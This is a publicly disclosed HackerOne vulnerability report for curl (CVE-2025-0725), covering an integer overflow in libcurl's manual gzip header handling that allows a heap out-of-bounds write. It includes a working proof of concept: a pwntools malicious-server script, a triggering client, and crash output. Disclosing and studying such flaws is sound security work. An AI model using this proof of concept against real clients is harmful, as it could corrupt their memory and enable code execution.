HexBrain

curl · Report #2956023

CVE-2025-0725: gzip integer overflow

Validstatus
lowseverity
17upvotes
5 Feb 2025disclosed

How it was found

Hello, no AI slop this time. I promise!

The current master branch of libcurl contains a vulnerability in lib/content_encoding.c that allows a malicious HTTP-server to craft an arbitrary heap chunk in the memory of the victim and issue a free() of that forged chunk, when Content-Encoding: gzip is in use.

The vulnerability is in function gzip_do_write() in lines 533 - 544:

    z->avail_in += (uInt) nbytes;
    z->next_in = Curl_saferealloc(z->next_in, z->avail_in);
    if(!z->next_in) {
      return exit_zlib(data, z, &zp->zlib_init, CURLE_OUT_OF_MEMORY);
    }
    /* Append the new block of data to the previous one */
    memcpy(z->next_in + z->avail_in - nbytes, buf, nbytes);

    switch(check_gzip_header(z->next_in, (ssize_t)z->avail_in, &hlen)) {
    case GZIP_OK:
      /* This is the zlib stream data */
      free(z->next_in);

On systems with a zlib version < 1.2.0.4, libcurl offers to manually parse gzip headers and trailers instead of passing everything to zlib as is. Unfortunately, when parsing the headers the remote server can trigger an integer overflow of z->avail_in in line 533, which leads the following Curl_saferealloc() call to shrink the chunk z->next_in. The following memcpy() can then write out-of-bounds before z->next_in, overwriting chunk metadata of the allocator. And right after the oob-write was triggered, the call to free(z->next_in) puts the forged chunk into the freelist of the allocator. z->avail_in can be overflowed because libcurl supports endlessly large gzip headers that can lead to repeated calls of gzip_do_write() with zp->zlib_init == ZLIB_GZIP_HEADER that keep incrementing z->avail_in with the amount of received data nbytes.

PoC

Consider the following malicious HTTP-server:

#!/usr/bin/env python3

from pwn import *

gzip_header = bytes([
    0x1f, 0x8b, # magic values
    8, # method
    8, # flags
    0, 0, 0, 0, 0, 0, # random bullshit go
])

with listen(1234) as conn:
    conn.wait_for_connection()
    
    # Discard HTTP request
    while True:
        line = conn.recvline()
        
        if line == b"\r\n":
            break
    
    # Fill up buffer
    conn.sendline(b"HTTP/1.1 200 OK\r")
    conn.sendline(b"Content-Encoding: gzip\r")
    conn.sendline(b"\r")
    conn.send(gzip_header)
    
    todo = 0xFFFFFFFF - 15 - len(gzip_header)
    amnt = 6000000
    
    while todo > amnt:
        conn.send(bytes([1]) * amnt)
        todo -= amnt
        
    conn.send(bytes([1]) * todo)
    
    # Trigger integer overflow
    time.sleep(5)
    conn.send(bytes(32)) # forged chunk

And consider the following libcurl client:

#include <curl/curl.h>

int main (void) {
    CURL *curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:1234/");
    curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip");
    curl_easy_setopt(curl, CURLOPT_BUFFERSIZE, 10485760); // to speed up the PoC
    curl_easy_perform(curl);
}

When launching

python3 ./server.py

in one terminal and

./client

in another terminal, we can observe that after ~10min. we get the following message:

free(): invalid pointer
[1]    233088 IOT instruction (core dumped)  ./client

Meaning that we were successfully able to overwrite chunk metadata.

Impact

The vulnerability

  • exists both in the library and the tool in every installation
  • is easy to trigger, a victim just has to be pointed to an evil URL
  • can lead to RCE when combined with information leaks that bypass ASLR because it offers a controlled heap out-of-bounds write exploitation primitive

Thus I suggest severity "High"

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original